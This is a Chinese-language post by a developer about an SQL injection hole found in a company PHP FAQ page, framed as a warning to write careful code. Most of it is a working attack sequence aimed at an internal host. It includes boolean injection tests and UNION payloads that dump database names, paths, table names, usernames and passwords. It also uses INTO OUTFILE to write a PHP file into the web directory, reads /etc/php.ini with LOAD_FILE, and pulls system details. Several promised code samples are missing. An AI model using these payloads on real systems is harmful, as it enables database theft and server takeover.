这是在做公司的项目时发现的漏洞,公司代码管理方面有些欠缺,代码质量不是很好。
sql注入最严重的是被拿到服务器管理权限,删数据还是轻的了。写这个当然不是教你们怎么做黑客注入人家的网站,而是说明一个sql注入漏洞的危害,平时写代码要用心,不要应付。
代码里这样写:
正常的sql语句查出来的信息:
检查是否能注入:
第一步:http://192.168.18.142/xxxxxxx/faq/faq_display.php?cate_id=77’and ‘1’=’1&faq_user=800
第二步:这样说明有注入漏洞
http://192.168.18.142/xxxxxxxxxx/faq/faq_display.php?cate_id=77’ and ‘1’=’2&faq_user=800
猜查询多少字段,select1,2,3有值时说明原sql语句查询了3个字段,数据在2这个位置显示出来
爆数据库名
SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'
UNION SELECT 1,DATABASE(),3 FROMinformation_schema.TABLES WHERE '1'='1'
爆数据库路径
SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'
UNION SELECT 1,@@datadir,3 FROMinformation_schema.TABLES WHERE '1'='1'
爆所有表名
select faq_id,faq_title,faq_cateid from faq_info wherefaq_cateid='77' UNION SELECT 1,group_concat(table_name),3 FROMinformation_schema.TABLES where '1'='1'
爆用户名和密码
取得php.ini内容
看到这里应该想到sql注入的危害了吧,下面帖出一些sql注入相关的语句,危害大着呢
导出到文件里
SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'
UNION SELECT1,CONCAT(id,'|',username,'|',PASSWORD,'|',extension),3 INTO OUTFILE "/tmp/test.txt"FROM ss_ampusers WHERE '1'='1'
写入脚本
UNION SELECT 1,'<?php phpinfo();?>',3INTO OUTFILE "/data/justcall/html/userweb/a.php" FROM ss_ampusersWHERE '1'='1'
读文件
UNION SELECT 1,LOAD_FILE(‘/etc/php.ini’),3 FROM ss_ampusers WHERE '1'='1'
获取系统信息参数
SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'
UNION SELECT1,CONCAT(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,USER(),0x3c62723e,VERSION(),0x3c62723e,DATABASE()),3
FROM information_schema.TABLES WHERE'1'='1'
获取系统信息参数说明
@@global.version_compile_os获取系统版本
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
USER()用户和ip
VERSION()mysql版本
@@have_openssl如果mysqld支持客户端/服务器协议的SSL(加密)则为YES
@@version_compile_os判断系统类型
@@max_allowed_packet包或任何生成的/中间字符串的最大大小
@@max_user_connectionsMySQL账户允许的最大同时连接数,0表示没限制
@@skip_networking如果服务器只允许本地(非TCP/IP)连接,该值为ON
@@table_type 默认表类型(存储引擎)
@@basedirMySQL安装基准目录
@@character_set_database默认数据库使用的字符集
@@datadir 数据库存储的地方
@@expire_logs_days二进制日志自动删除的天数,默认是0,表示"没有自动删除"
@@group_concat_max_len允许group_concat()函数结果的最大长度
@@log_error 错误日志的位置
@@lower_case_file_system该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.
ON说明对文件名的大小写不敏感,OFF表示敏感
@@lower_case_table_names如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.
如果设置为2,按照指定的保存表名,但按照小写来比较
@@plugin_dir 插件目录的路径
@@tmpdir 保存临时文件和临时表的目录
@@tmp_table_size如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表
@@sql_mode 当前服务器的sql模式
@@tx_isolation默认事务隔离级别。默认值为REPEATABLE-READ
@@Connections连接mysql数据库服务器的次数(不管成功还是失败)
@@max_write_lock_count最大写锁数量
@@old_passwords是否启用mysql323加密方式(就是mysql用户密码的hash是16位的)
@@Uptime 服务器已经运行的时间